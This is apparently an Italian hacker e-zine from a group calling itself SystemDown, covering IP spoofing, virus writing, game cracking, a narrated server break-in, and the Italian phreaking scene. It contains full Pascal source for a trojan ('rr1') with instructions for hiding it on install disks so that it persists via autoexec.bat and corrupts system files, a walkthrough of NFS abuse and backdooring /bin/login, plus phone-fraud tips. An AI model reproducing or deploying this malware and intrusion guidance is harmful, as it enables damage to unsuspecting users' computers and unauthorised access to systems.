Introduzione: Siamo alla prima uscita di una rivista che spero possa essere scritta anche in futuro da un piccolo gruppo di persone chiamato "SystemDown" i cui membri sono: InfectedMachine IceNice RaggedRobin Jack McKrak Jester Ramlin In questa rivista vogliamo trattare tutti quegli argomenti che nel resto dei paesi maggiormente colpiti dal fenomeno internet si sono propagati con maggior velocita' e ampiezza, ovvero: hacking, phreaking, cracking, virii, ecc. Gli articoli che riporteremo sono frutto delle nostre conoscenze e, in minima parte, da testi tradotti dalle piu' famose riviste specializzate del settore tipo 2600 o Phrack. Quindi, spero possiate trovare interessante il contenuto di questo testo cosi' da poterci incoraggiare a continuare il lavoro. Noi, comunque, non ci assumiamo nessuna responsabilita' per l'uso illegale delle seguenti informazioni che sono state rilasciate solamente per puro scopo educativo. By InfectedMachine (InfectedMachine@cryogen.com) Indice: 1) Basi dell'Ip Spoofing e del Hijacking ( by InfectedMachine ) 2) Primi passi sulla costruzione di un Virus ( by RaggedRobin ) 3) Principi Base del Crakking, MOLTO di base, pure troppo ( by McKrak ) 4) Attacco Frontale ( by IceNice ) 5) La scena italiana: hacking/cracking/phreaking/virusing ( by Jester ) 6) Firewall: concetti base (Parte I) ( by Ramlin ) Basi dell'ip spoofing e del Hijacking ( by InfectedMachine ) L'ip spoofing e' una tecnica mediante la quale si riesce ad ottenere un accesso con pieni privilegi ( SuperUser level o root ) ad un terminale modificando la serie di pacchetti di informazioni ip che partono ed arrivano da un computer al momento della connessione. L'ip spoofing e' possibile quando i pacchetti di informazioni viaggiano sullo stesso network e non escono mai all'esterno ( anche se vi sono alcune eccezioni ). Un collegamento base ( telnet, web, ftp, ecc. ) tra due computer collegati ad internet funziona tramite lo scambio di pacchetti di informazioni IP che confermano la provenienza e la destinazione di un terminale. Un ipotetico computer A manda un messaggio SYN ( SYnchronize sequence Number ) e una serie iniziale di numeri, chiamata ISNa, al server B richiedendo il collegamento alla rsh ( remote shell ) o a qualche altro servizio remoto ( tanto per citarne uno, rlogin porta TCP 513 ). Il server B risponde ad A con un pacchetto di informazioni SYN, ISNb ( l'Initial Sequence Number di B ) e un ACK ( ACKnowledge ) che contiene l'ISNa aumentato di 1 per poter cosi' capire che i dati stanno andando nella giusta direzione. Il computer A conclude inviando l'ACK contenente l'ISNb. Schematizzando: A...B: SYN, ISNa B...A: SYN, ISNb, ACK(ISNa+1) A...B: ACK(ISNb) Questo tipo di connessione e' chiamata in inglese 3-way handshake. Gli Initial Sequence Number sono dei numeri a caso che incrementano il loro valore di 128 ogni secondo e di 64 ogni nuova connessione. Quindi se si apre un collegamento ad una macchina si puo' anche sapere quale sara' la sequenza successiva. Il SYN ha il solo scopo di chiedere la connessione al sistema B in modo che questo possa controllare i numeri iniziali mandati da A e far partire la sua sequenza di login. Torniamo a noi: L'hacker C prima di tutto deve aprire una connessione con il bersaglio ( in questo caso B ) alla porta per la posta elettronica ( porta 25 ) o alla TCP echo port ( porta 7 ); questo da' l'ISNb. Poi C impersona A e manda una serie di richieste di connessione: (C)A...B: SYN (C)A...B: SYN (C)A...B: SYN (C)A...B: SYN (C)A...B: SYN (C)A...B: SYN (C)A...B: SYN (C)A...B: SYN B risponde ai vari SYN di C credendo di mandare i messaggi ad A: B...(C)A: SYN, ISNb B...(C)A: SYN, ISNb B...(C)A: SYN, ISNb ecc... Cosi' facendo si concede ad "A" di entrare. Da questo momento tutte le future connessioni con quella porta TCP verranno ignorate a causa dell'afflusso delle connessioni mandate da C. (C)A...B: ACK(ISNb) usando l'ISN aumentato come abbiamo visto prima. C non vede nessuna risposta da parte di B poiche' quest'ultimo le spedisce ad A. Se tutto e' andato bene lo rsh server di B pensando di connettere A, da' libero accesso a C. Per fare credere a B di essere A bisogna che quest'ultimo non sia collegato per poi, cosi', prenderne il posto. I messaggi ip, inoltre, devono essere modificati in maniera tale che la risposta di B non arrivi ad alcun host poiche' quest'ultimo potrebbe mandare indietro un messaggio RST ( reset ) che annullerebbe la connessione. Ricordate: Nessun pacchetto di informazioni deve tornare indietro a voi in alcun modo! I servizi vulnerabili all'ip spoofing sono i seguenti: SunRPC & NFS I comandi remoti del BSD Unix ( rlogin o rsh ad esempio ) X Windows Firewalls basati sul filtraggio dei routers se il router non e' configurato per bloccare i pacchetti provenienti dal un dominio locale. Alla fine, le cose che vi servono per poter sfruttare questa tecnica sono: 1) L'host bersaglio; 2) L'host a cui "devono arrivare" i messaggi mandati dal bersaglio ( quello, cioe', che dovete impersonare ); 3) L'host dal quale attaccate ( dovete essere root qua! ); 4) Un software per l'ip spoofing ( vedi alla fine di questo articolo ). Sotto riporto lo schema di un pacchetto di informazioni ip: ________________________________________________________ 4-bit | 4-bit | 8-bit | 16-bit | | Lunghezza | Tipo di | Lunghezza | Versione | Intestazione | Servizio | Totale | -------------------------------------------------------| 16-bit | 3-bit | 13-bit | | | Variabili di | Identificazione | Flags | Frammento | -------------------------------------------------------| 8-bit | 8-bit | 16-bit | Tempo da | | | "Vivere" | Protocollo | Controllo Intestazione | -------------------------------------------------------| 32-bit | | Indirizzo di provenienza | -------------------------------------------------------| 32-bit | | Indirizzo di destinazione | -------------------------------------------------------| Opzioni ( se ci sono ) | | -------------------------------------------------------| | Dati ( di lunghezza variabile ) | _______________________________________________________| I numeri a 32bit indicati come Indirizzo di provenienza e di destinazione sono i due piu' importanti dati nel pacchetto IP e sono alla sua testa. Piccola nota: Il tempo da "vivere" ( detto anche TTL= Time To Live ) indica il numero di salti di router che un pacchetto IP puo' fare prima di essere scaricato definitivamente dalla rete. Una volta che si e' ottenuto il controllo del terminale B, e' possibile accedere ai collegamenti remoti che sono connessi a quel terminale. Riporto in seguito anche lo schema per un segmento di informazioni TCP: ________________________________________________________ 16-bit | 16-bit | | Porta di | Porta di provenienza | Destinazione | --------------------------------------------------------| 32-bit | | Sequenza di numeri | --------------------------------------------------------| 32-bit | | Numeri di indentificazione | --------------------------------------------------------| 4-bit | 6-bit | 6-bit | 16-bit | Lunghezza | Riservato| Flags | Grandezza | Intestazione | | | Finestra | --------------------------------------------------------| 16-bit | 16-bit | Controllo del TCP | Indice | | Urgente | --------------------------------------------------------| Opzioni ( se ci sono ) | --------------------------------------------------------| | Dati ( di lunghezza variabile ) se ci sono | ________________________________________________________| Per poter effettuare questo tipo di attacco dovete conoscere bene i computer connessi a quello che volete attaccare per poterne prendere il posto e "fregare" il vostro bersaglio. Quindi prima di attaccare un computer ( e questo vale come regola generale ) scoprite tutte le informazioni possibili legate a lui, alla rete e a quelli che ne fanno parte con comandi come: finger who rwho rpcinfo showmount Una volta connessi al sistema potete ( ma dovete intendervi parecchio di unix ) utilizzare un'altra tecnica chiamata Hijacking che permetterebbe, modificando il kernel del computer sul quale siete entrati, di chiudere tutte i possibili tentativi di connessione al sistema. Per quanto riguarda l'hijacking del sistema ci sono da dire alcune cose: Per effettuare questo tipo di attacco bisogna possedere un tool ( attrezzo ), programma, chiamato "tap" in grado di prendere il controllo delle connessioni esistenti su di un sistema. Questo programma ( che va' a modificare il kernel del computer bersaglio ) permette agli intrusi, con privilegi di root, di guadagnare il possesso di qualsiasi connessione esistente sul sistema bersaglio permettendo all'intruso di utilizzare comandi come se fosse lui il proprietario di quella connessione. Se uno user ha effettuaro un rlogin o un telnet ad un altro sistema, l'hacker puo' guadagnare accesso a quel sistema evitando le solite procedure di identificazione. Attualmente il solo "tap" program conosciuto colpisce il sistema SunOS 4.1.x Piccola spiegazione dei termini: ACK=ACKNOWLEDGE=Riconoscimento SYN=Synchronize sequence Number=Numeri di sequenza sincronizzati. ISN ( o ISS )=Initial Sequence Number ( Initial Send Sequence )=Sequenza di trasmissione iniziale. Queste sono le basi iniziali dell'ip spoofing che, comunque, non servono a nulla senza un po' di studio personale. Per poter specializzarvi in questo argomento vi consiglio di leggere prima di tutto un buon libro sul protocollo tcp/ip e sul funzionamento delle reti poi, dopo aver appreso i vari procedimenti attuati nelle connessioni fra i computer, approfonfite l'argomento con i testi sull'ip spoofing reperibili un po' ovunque sulla rete con poche e semplici ricerche. Se volete comunque passare dalle parole ai fatti, vi conviene provare ad entrare nel computer di qualcuno che conoscete ( magari un sysop vostro amico ) per poter fare un po' di esperienza e correre pochi rischi...almeno all'inizio... Nota sull'ip spoofing: Girovagando per la rete sono venuto in possesso di un programma chiamato neptune.c ( scaricabile dal file di Phrack Volume 7, Issue 48, File 13 di 18 ) che servirebbe a svolgere l'ip spoofing al posto nostro richiedendoci solamente alcune info prima di partire. Non ho ancora verificato l'effettiva utilita' di questo programma ma ritengo che Phrack sia piu' che affidabile come fonte di informazioni. 2) Primi passi sulla costruzione di un Virus ( by RaggedRobin ) Questa parte della rivista e' dedicata a chi vuole sapere qualcosa di piu' sul mondo dei virus. Per chi di virus ne sa poco bisogna precisare che ne esistono di tre famiglie principali: quelli che infettano il settore di boot, quelli che si insediano in memoria e in fine i cavalli di troia. In questo articolo vi parlero' di quest'ultimi. I cavalli di troia sono programmi che una volta lanciati danneggiano in qualche modo il computer, spesso formattano l'hard disk o cancellano files alla rinfusa. Per creare un cavallo di troia non č necessario essere dei programmatori eccezionali e se si ha un po' di fantasia non e' necessario conoscere l'assembler. Il virus rr1 e' nella fattispecie un trojan horse scritto in pascal, un linguaggio facile e che spesso viene insegnato a scuola; rr1 e' un t.h. ma a differenza di molti altri non agisce subito ma aspetta che si riavvii il computer 5 volte. Il modo col quale renderlo operativo e' semplice: per prima cosa e' necessario modificare un file bat in un disketto (magari quello che installa un gioco), dal PROMPT DI DOS bisogna scrivere : EDIT seguito da uno spazio e dal nome del file bat, andare a capo, tenere premuto il tasto alt e scrivere dal tastierino numerico 255 quindi rilasciare alt, in questo modo avete inserito nel file bat il carattere ascii 255 che č invisibile. Quando compilate rr1 dovete rinominare, sempre da dos, il file con il carattere 255 dovete cioe' scrivere ren rr1.exe (premete alt scrivete 255 da tastierino e lasciate alt).exe, cambiate gli attributi del file nascondendolo (con il comando dos "attrib +h nomefile" o con win, come preferite) e copiatelo in a. Una volta che verra' lanciato il file bat che avete modificato il virus verra' copiato in c:\windows, alla fine dell'autoexec.bat verrā aggiunto il carattere 255 in modo che ogni volta che si avvia il computer il file venga caricato in memoria e il contatore che si chiama group.txt e che si trova in c:\windows venga incrementato di uno. Quando il contatore arriva a cinque il primo carattere del command.com e dell'explorer.exe vengono incrementati di due, vengono quindi fatte tre domande e se si risponde bene vengono rimessi a posto i files. A causa delle sue caratteristiche questo virus viene difficilmente scovato da programmi anti-vir. Semplice vero? Nel prossimo articolo vi faro' vedere come si puo' complicare la vita agli utenti di win95. program rr1; uses DOS,CRT; type conta=file of integer; type autoexec=file of char; var i,copy,risp2,invio:char; auto,zone,gruppo,command,explorer:autoexec; volte:conta; harddisk:string[16]; dischetto:string[5]; j,contatore:integer; risp:string[10]; procedure fallito; begin write('SPIACENTE AMICO QUESTA VOLTA TI E'' ANDATA MALE !!!'); DELAY(2000); HALT; END; begin invio:=chr(13); j:=0; i:=chr(255); {il carattere ASCII 255 e' invisibile} assign(auto,'c:\autoexec.bat'); reset (auto); assign(volte,'c:\windows\group.txt'); repeat read(auto,copy); if copy=i then j:=1; until (eof(auto)) or (j=1); {guardo se autoexec.bat e' infetto} if j<> 1 then begin {se non lo e'} seek(auto,filesize(auto)); {aggiungo un invio} write(auto,invio); {e il carattere 255} invio:=char(10); write(auto,invio); write (auto,i); {nell' autoexec.bat} close (auto); harddisk:='c:\windows\.exe'; {copio il virus su hd} dischetto:='.exe'; insert(i,harddisk,12); insert(i,dischetto,1); assign(zone,dischetto); assign(gruppo,harddisk); reset(zone); rewrite(gruppo); repeat read(zone,copy); write(gruppo,copy); until eof(zone); close (zone); close(gruppo); rewrite(volte); {creo il contatore} write(volte,j); close(volte); SetFAttr(gruppo,Hidden); {nascondo il virus} end; reset (volte); read(volte,contatore); reset(volte); contatore:=contatore+1; write(volte,contatore); close(volte); reset(volte); read(volte,contatore); if contatore=4 then begin {contatore=4=crack} assign(command,'c:\command.com'); assign(explorer,'c:\windows\explorer.exe'); reset(command); reset(explorer); read(explorer,copy); copy:=char(ord(copy)+2); {aggiungo 2 al primo } reset(explorer); write(explorer,copy); {carattere di } read(command,copy); {command.com ed } copy:=char(ord(copy)+2); {explorer.exe } reset (command); write (command,copy); close (command); close (explorer); {QUESTO QUA' SOTTO E' L'AVVISO} CLRSCR; WRITELN(' SPIACENTE AMICO, TI SEI BECCATO UN VIRUS.'); WRITELN(' FOSSI IN TE NON SPEGNEREI IL COMPUTER.'); GOTOXY(1,5); WRITELN('SE RISPONDI ALLE MIE DOMANDE CANCELLERO'' IL VIRUS'); WRITELN('SE NON LO FARAI...PEGGIO PER TE'); WRITE('PREMI UN TASTO PER INCOMINCIARE E RICORDATI CHE NON PUOI '); WRITELN('SBAGLIARE'); DELAY(2500); {ritarda qualche secondo } READKEY; {per evitare che uno prema} CLRSCR; {un tasto per sbaglio } {QUESTO INVECE E' L'HACK QUIZ} REPEAT WRITELN('Qual'' e' il nome di Mitnick?'); READLN(RISP); WRITELN('NE SEI PROPRIO SICURO?(S/N)'); READLN(RISP2); UNTIL (RISP2='S') OR (RISP2='s'); IF (RISP='Kevin') OR (risp='KEVIN') OR (RISP='kevin') THEN BEGIN WRITELN('PRIMA RISPOSTA GIUSTA!'); CLRSCR; DELAY(1500); END ELSE FALLITO; WRITELN(''); REPEAT WRITELN('Qual'' e' il sistema operativo piu' usato nelle reti?'); READLN(RISP); WRITELN('NE SEI PROPRIO SICURO?(S/N)'); READLN(RISP2); UNTIL (RISP2='S') OR (RISP2='s'); IF (RISP='Unix') OR (risp='UNIX') OR (RISP='unix') THEN BEGIN WRITELN('HAI AZZECCATO ANCHE LA SECONDA, COMPLIMENTI.'); CLRSCR; DELAY(1500); END ELSE FALLITO; WRITELN(''); REPEAT WRITELN('IL SISTEMA OPERATIVO DA LA PRECEDENZA AI COM O AGLI EXE?'); READLN(RISP); WRITELN('NE SEI PROPRIO SICURO?(S/N)'); READLN(RISP2); UNTIL (RISP2='S') OR (RISP2='s'); IF (RISP='COM') OR (risp='Com') OR (RISP='com') THEN BEGIN WRITELN('E ANCHE LA TERZA E'' GIUSTA, ORA TOGLIERO'' IL VIRUS'); CLRSCR; DELAY(1500); END ELSE FALLITO; {CON QUESTO METTO TUTTO A POSTO} reset(command); reset(explorer); read(explorer,copy); copy:=char(ord(copy)-2); {tolgo 2 al primo } reset(explorer); {carattere di } write(explorer,copy); {command.com ed } read(command,copy); {explorer.exe } copy:=char(ord(copy)-2); reset (command); write (command,copy); close (command); close (explorer); end; end. Principi Base del Crakking (MOLTO di base) (pure troppo)...( by Jack McKrak ) 1. Perche' crakkare un gioco. Le Software House spesso danno per scontato che tutte le persone in possesso di un PC Pentium, possano permettersi il lusso di comprare qualsiasi gioco venga buttato sul mercato a qualsiasi prezzo... Il videogiocatore medio, a questo punto, si trova nella condizione di: A - Leccare il culo ai propri genitori per diverse settimane, dimostrando di essere buono, bravo e studioso..un ragazzo che MAI spenderebbe dei quattrini in semplici e inutili programmi per divertirsi al computer, ma che in questa RARA e UNICA occasione, decide che e' giusto concedersi, dopo tanta fatica, un po' di svago... B - Cimentarsi nella classica razzia pre - post - natalizia visitando tutti i nonni, nonne, cugini e parenti di infimo grado pur di poter racimolare le esorbitanti 129.999 per l'ultimo titolo uscito.. C - Andare dal proprio pirata di fiducia e farsi masterizzare il CD a modico prezzo.... D - Comprare il gioco assieme ad amici e poi installarlo su tutti gli Hard Disk assieme al file di Crack... Scartando le prime due proposte, certamente valide ma attuabili poche volte, rimangono le ultime due...personalmente sono contro la masterizzazione selvaggia di CD-ROM, in primo luogo perche' cosi' si arricchisce gente che specula su prodotti su cui diverse persone hanno lavorato parecchio, in secondo luogo perche', essendo il pirataggio gestito su larga scala, si danneggia in modo esagerato la casa di produzione del gioco, che si vede cosi' non ricompensata degli sforzi fatti...per questo sono fortemente convinto che non ci sia niente di male se 5 o 6 amici si mettono assieme, comprano il prodotto e poi se lo passano magari con la possibilita' di attuare qualche devastante partita via modem.... 2. Ridendo e Krakkando Mettiamo che avete in mano il CD-ROM del titolo X e volete installarlo in modo da giocarci senza l'argenteo dischetto...per prima cosa si esegue la normale procedura di installazione, facendo in modo che venga copiato sull' hard disk la maggior parte di gioco possibile...ormai gli ultimi titoli non scendono sotto i 100 Mb...se siete fortunati l'installazione completa vi permette di non dover utilizzare il CD-ROM durante il gioco (e' il caso di EF2000, Syndacate Wars, ...). Visto pero' che l'utente medio di PC e' solitamente abbastanza sfigato in queste cose, questo accadra' sempre piu' raramente... Se il programma e' stato installato quasi completamente, ma richiede che il CD resti inserito, ci sono due possibilita': A - Il gioco carica dal CD la musica e animazioni B - Il gioco usa il lettore come protezione Il primo passo da fare a questo punto controllare se sulla root del CD c'e' qualche file strano, molto corto, come disk.id, cdrom.inf, che il programma cerca quando viene lanciato...copiando questo file nella directory del gioco a volte si puo' illudere il programma che sta girando sul CD-ROM (e' il caso di Dark Force)...se questo sistema non funziona allora bisogna ricorrere alla creazione di una unita' illusoria... L'utilissimo comando SUBST sembra stato fatto proprio per questi casi, infatti scrivendo "SUBST E: C:\TEMP" il drive E verra' identificato con la directory TEMP....da questo momento tutti i programmi lanciati da quella directory penseranno di girare su un altro drive.. Con questo sistema molti giochi cadono nella trappola e non oppongono resistenza, ma sono sempre di meno...se il gioco non ne vuole sapere allora non rimane che la soluzione estrema, copiare tutto il CD-ROM in una directory e utilizzare l'utility FAKECD.EXE che si trova un po' ovunque nei siti dedicati. Questo eseguibile non e' altro che la versione potenziata di SUBST e se i programmatori del gioco non sono proprio degli uccelloni possono superare un eventuale attacco molto facilmente...queste utility infatti assegnano solo un unita' logica a dei settori del nostro Hard Disk... Se il gioco va a controllare un po' in profondita' si accorge subito di girare su un Disco Rigido e non su un lettore CD... A questo punto, se tutti i passi precedenti sono falliti, e' il momento di rivolgersi alla rete...esistono infatti svariati siti che raccolgono file per krakkare i piu' disparati programmi, con una buona ricerca a tappeto di solito si trova anche quello che interessa a noi...la cosa migliore resta comunque connettersi a Mirc e chiedere di persona, nei canali dedicati, le ultime novita' che circolano...un crakker e' di solito un programma molto corto, dunque non sara' raro che qualcuno ve lo possa inviare via Mail o in una sessione DCC (scambio di file in un collegamento IRC)... Ricordate di tenere sul vostro Hard Disk i file che avete usato per krakkare dei giochi che ora non avete piu', a qualcuno potrebbero sempre servire... 4) ATTACCO FRONTALE ( by IceNice ) Data astrale 2015 ore 22:30 del 24 dicembre notte di Vigilia, inizio ricerca di informazioni su macchina a cui si ha intenzione di accedere: va bene raga, tipo di macchina, rete che ne fa parte, ecc, ora tutti al lavoro. Ore 23:30 Finger alla macchina presa di mira: $ finger -l @server.for.you [nnt7.for.you] Welcome to Linux version 1.1.88 at server.for.you 3:45am up 11 days, 4:09, 3 users, load average:0.01, 0.01, 0.00 Login:kirk Name:capitain kirk Directory:/home/six Shell:/bin/bix On since wed dic 24 13:21(MOT) on ttyp0, idle 1:23, from elsa.for.you No Mail No Plan Login:spack Name:spack1 Directory: /export/account/guest Shell: /bin/zsz On since wed dic 24 14:21(MOT) on ttyp1, idle 0:23, from sa.for.you Mail last read wed dic 17 14:50 2015 (MOT) No Plan Ecco fatto raga ora andiamo a nanna info ricevute bye. Natale, oggi decidiamo che tipo di strategia scegliere ed il momento dell'attacco dato che con il finger abbiamo acquisito dati relativi ad utenti; anche se non sono collegati, penso che ci potranno essere molto utili in seguito (root, bin, system, demo, guest, stuff, shut e uucp ...) prendiamo in considerazione anche le informazioni relative alle loro home directory, alle macchine da cui sono avvenute le ultime connessioni e le informazioni sull'idle time (che e' il tempo trascorso senza che vengano impartiti comandi) e sulla data dell'ultimo collegamento. Utilizziamo il comando rusers che ci permettera' di vedere una mappa delle macchine che compongono la rete locale di cui fa parte quella attaccata il tutto puo' essere anche ricavato utilizzando "host" $ host -avl for.you Query about for you for record types ANY Finding nameservers for for.you........... Query done, 1 answers, authoritative status:no error Found 1 address for uni.sta.you Trying server 154.204.156.13 Asking zone transfer for for.you........... For you 884 IN SOA uni.sta.you( 9465465;serila (Version) 4564654; refresh period 123123456; expiration period 778979, default ttl ) ehhe __________________________________________________________________________ $ rusers -lu pilo unik.uni.:console Feb 14 10:15 1:24 lila bioing.sc:consolle Feb 06 14:30 :50 N.B. Il risultato del host fornisce informazioni molto importanti sul tipo di sistema operativo delle macchine che si hanno di fronte. Per completare e' necessario evidenziare eventuali connessioni NFS (il file system distribuito usato su gran parte delle reti locali) tra le macchine alla ricerca di una eventuale errata configurazione relativa . $/export (everyone) /usr1 shi.for.you Il nostro obiettivo e' raggiunto ed una di queste macchine ha una directory accessibile a tutti (/export) ora la nostra strategia e' pronta e a questa possiamo connettere un sottoalbero di file system effettuando un mount: #mount server.for.you:/export/account /mnt Bene bene, ora sappiamo anche dato output del comando finger che utente Spack ha come directory di lavoro $home, proprio la directory /export/guest della macchina server.for.you. :) Ora ci resta solo da risolvere il problema di far corrispondere l'UID (user identification) di guest sulla macchina che abbiamo preso come vittima, con uno presente nella nostra macchina in modo da poter modificare il filesystem montato eheh :-) Siamo entrati finalmente, eccoci dentro, la macchina e' nostra eheh :-))))))) Be non montiamoci la testa abbiamo solo i privilegi di spack a meno che il nostro amministratore di sistema non sia diventato scemo, ma ora che abbiamo accesso ci occore poco tempo per risolvere il tutto. Proviamo a controllare se il system administrator ha mantenuto lo script con SUID a root da utilizzare per velocizzare le operazioni di gestione, SSSSSSSSSSSSSSIIIIIIIIIIIIIIIII il nostro administrator ha fatto la sua bravata, ora la macchina e' nostra; siamo dentro. Non ci resta che farci una backdoor e poi cancellare le nostre tracce. Proviamo a ricompilare ora i programmi caratterizzati da SUID o, se no, aggiungiamo un privilegio a programmi che ne erano sprovvisti. Mazzate. Niente sto giro, strano! Allora proviamo a ricompilare il programma di login, good c'e' l'ho fatta si ora si che posso tornare ed avere privilegi di root quando voglio; ora mazzate. Dopo aver ricompilato il /bin/login ho reso inutile il controllo della parola d'ordine fatto dalla macchina. Ma noi siamo in possesso della JollyPassword che e' stata inserita sempre modificando il sorgente di login e poi dato che abbiamo ricompilato il tutto l'accesso e' nostro. La scena italiana: hacking/cracking/phreaking/virusing Phreaking Sebbene l'Italia sia uno tra i sette paesi piu' industrializzati del mondo, il suo sistema telefonico fino a poco tempo fa faceva quasi schifo. Infatti prima che le comunicazioni telefoniche passassero alla Telecom Italia, si poteva fare qualsiasi tipo di manipolazione sulle linee SIP e usare proficuamente quasi ogni tipo di box (red,blue,black,acrilic,charteouse...). Il sistema telefonico L'Italia e' divisa in 220 distretti telefonici, ognuno con il suo particolare prefisso: uno zero seguito da un numero (fino a tre cifre). Inoltre ci sono alcuni prefissi speciali per telefoni cellulari (0335,0336..) o per posti che in effetti "non esistono", come quelli che usano molti programmi della tv che fanno delle televendite (0796). In questo modo la Telecom si protegge dalla congestione delle linee dirottando il traffico verso centraline speciali. Il piu' famoso, di questi prefissi "falsi" e' quello del famigerato televoto (0869) che veniva usato molto spesso per i sondaggi. Era usato per testare alcune decisioni politiche, ma il modo di imbrogliare era cosi evidente (il tasto redial #) che questo sistema e' ritenuto totalmente inattendibile e sta gradualmente scomparendo. Numeri standard Numeri che iniziano con la cifra 1 sono riservati per servizi speciali; tra questi abbiamo il 113, il 187 e i numeri verdi 167[0 o 8]-xxxxx. I primi numeri verdi avevano il formato numerico 1678-xxxxx ma ebbero cosi tanto successo che la Sip fu costretta ad aggiungere i 1670-xxxxx piu' tardi. Tutti i numeri che hanno il formato 1678-7xxxx sono utilizzate da compagnie telefoniche straniere e sono mantenute sotto stretto controllo. NB: sconsiglio a tutti di fare phreaking sui numeri 1678-7xxxx se non volete fare una brutta esperienza.... Comunque qui di seguito sono riportati alcuni numeri "interessanti" (mi raccomando fatene buon uso e non chiamate in massa altrimenti li "bruciano") 1678-72341 Un promo di una linea dimostrativa porno estera. 1678-70152 Sorpresa!!!mi raccomando non chiamate da casa vostra e staccate subito...altrimenti...be' vi ho avvertito..."we track hackers and advise autorities"...cazzi vostri. Numeri speciali I numeri di cui ho parlato sopra sono, ovviamente, tutti pubblici. Questi altri sono "riservati" per un uso interno sebbene molte persone ci "giocano" senza farsi troppi problemi: 135 BBS per registrare procedure di manutenzione 138 BBS o operatore umano 1372 Ring-back 777 Ring-back 1391 Operatore umano 160 Numeri di sicurezza dello Stato 1414 Un servizio che deve ancora essere reso disponibile, che permette ad un utente di chiamare da un telefono e di addebitare il costo della chiamata sulla propria bolletta. Sara' implementato? NB: non tutti i distretti supportano questi numeri ed inoltre poiche' non sono numeri pubblici cambiano rapidamente formato. Inoltre ci sono anche numeri country direct nel formato 1672-xxx. Paese Codice Argentina 1054 Brasile 1055 Cile 1056 At&t 1011 MCI 1022 Sprint 1877 Non e' piu' possibile alcun tipo di manipolazione su questi numeri...si poteva fare prima quando erano rispettivamente nella forma: 054, 055, 056, 011, 022, 887. Comunque non e' il caso di perdere tutte le speranze: ogni giorno vengono implementati nuovi servizi... I network a commutazione di pacchetto C'e' in Italia un solo network a commutazione di pacchetto, Easy Way ITAPAC (il cui DNIC e' 2222). Come in tutti gli altri network a commutazione di pacchetto si ottiene l'accesso tramite un PAD che accetta solo accounts di tipo NUI con reverse-charge. Queste password sono le piu' piratate perche' ITAPAC e' il network nazionale piu' diffuso ( ed anche il piu' insicuro ) ed anche perche' alcuni utenti di NUI non erano al corrente del costo di questo servizio ed hanno dovuto pagare anche le bollette di tutti i phreaker! Ci sono storie che circolano di NUI usate a tal punto che sono arrivate bollette da sessanta milioni. In realta' penso che si trattasse di account dimostrativi e che nessuno pagasse. Personalmente non ho mai fatto uso di NUI rubate, anche se c'era un giro notevole ai tempi, quando senza internet la telematica era un fenomeno per pochi eletti. Un mio amico si aggirava per gli stand dei padiglioni SIP delle fiere e chiedeva:"mi scusi questo e' un mIdem?"; "No e' un mOdem venga che le faccio vedere" era la risposta...gente cortese quanto sprovveduta spesso con le password appiccicate al monitor.... Inoltre molte volte era la stessa SIP che distribiuiva NUI a scopi promozionali... Comunque e' bene considerare che la maggior parte delle NUI erano distribuite dai phreakers raccolte a seconda del PAD su cui erano valide: infatti la maggior parte delle NUI erano valide su un solo PAD e solo poche avevano il privilegio di essere valide attraverso diversi PAD. Fino a poco tempo fa il PAD piu' piratato era sicuramente QSD France. Un'altra attivita' molto comune era navigare attraverso i network di differenti paesi. Ora la maggior parte delle NUI sono state cancellate ma alcune sono ancora valide. Molte volte ITAPAC e' impossibile da usare...non e' raro che la rete raggiunga il suo carico massimo e molte volte anche se le porte sono a 2400bps non e' difficile che il collegameno raggiunga la velocita' di 1200bps. Fare Phreaking era un attivita' abbastanza comune in Italia, ma ora lo e' molto di meno a causa delle nuove centraline telefoniche digitali e della sicurezza piu' severa (ecco perche' negli articoli ci sono molti riferimenti a "prima"...). Usare una Blue Box per telefonare verso gli USA era molto comune fino al primo Gennaio del 1992. Quel giorno il software che controlla il traffico telefonico verso il nord America fu cambiato e usare box verso gli USA non e' piu' possibile. L'unico modo per piratare il sistema telefonico verso gli USA e' usare carte di credito telefoniche; questo metodo e' utilizzato di solito dai gestori di bbs warez pirata. Voci di corridoio dicono che il cambiamento del software sia stato imposto all'ITALCABLE (che gestiva le telefonate internazionali per la SIP) dalla AT&T a causa dell' enorme traffico illecito tra Italia e USA (detto in altre parole il volume del traffico non corrispondeva al numero di scatti realmente pagati). In breve, molte, anzi, troppe persone che non erano nemmeno Hackers o Phreakers ma semplicemente "amici degli amici" usavano blue box senza la minima idea di come funzionassero. Alcuni hackers vendevano le blue box anche alla gente comune, e questo e' probabilmente il motivo del blocco delle chiamate del 1992. Ora, per quanto ne so, e' possibile usare box solo verso il Cile, l'Argentina e altri paesi del terzo mondo. Hacking L'hacking in Italia non e' un 'attivita' molto comune. Gli hacker DAVVERO validi in Italia sono una manciata: una decina a Roma ed una quindicina a Milano. Comunque ci sono diversi adolescenti che si impegnano un sacco per imparare alcuni exploits, ma sono solo adolescenti e con tutti i pro e i contro. Raramente questi individui sopravvivono alla barriera dei venti anni. Comunque quelli che sopravvivono di solito autolimitano la loro azione ad una particolare area e generalmente rimangono anonimi. I pochi che rimangono di solito sono i piu brillanti, ed accumulano un sacco di conoscenze. Conosco solo due persone che si possono considerare al livello elite in Italia. Di solito per hacking in Italia si intende mantenere un sito ftp non autorizzato sui computer universitari, rimuovere protezioni a programmi commerciali, commerciare software copiato o avere accesso ad aree riservate di host su internet o ITAPAC. L'Italia manca totalmente di gruppi H/P come LOD, MOD, l0pht o il tedesco CCC. Ad esclusione dell'Omega Team (che ha anche fatto un eccezionale emulatore di blue box) nessun gruppo H/P italiano e' mai esistito. Le vere BBS H/P sono poche. Una, la Pier Group's BBS era la piu' famosa, in parte a causa di un membro MFB (in breve MF the Best, semplicemente il miglior phreaker italiano secondo me) che era molto conosciuto. Ma poiche' Pier ( il sysop) fu anche coinvolto in altre attivita' illegali oltre al phreaking ( hardware rubato, uso illegale di carte di credito rubate ) e questo gli ha causato diversi problemi giudiziari, il suo BBS ha dovuto chiudere i battenti. Molte altre BBS sono orientate verso il commercio di programmi copiati, la maggior parte crackati da gruppi americani come Razor1911, THG ed altri. E' importante notare comunque che in Italia non ci sono HQ di distribuzione di warez di gruppi italiani: quello che conta ( purtroppo ) in Italia e' fare soldi, non essere parte di un gruppo. Molte BBS hanno una doppia faccia: da un lato sono parte di una rete legale come FidoNet, dall'altra sono accessibili solo dagli abbonati a cui sono offerti warez. La situazione e' comunque cambiata da quando ci sono state le prime retate contro alcuni gruppi che commerciavano software copiato. Questo non e' accaduto perche' la polizia ha fatto raid sui BBS (infatti sono troppo stupidi per fare questo) ma perche' molti sysop nella paura essere presi hanno preferito chiudere temporaneamente le loro BBS. Virusing Ci sono alcuni programmatori di virus in Italia, sebbene questi non si siano pubblicizzati molto 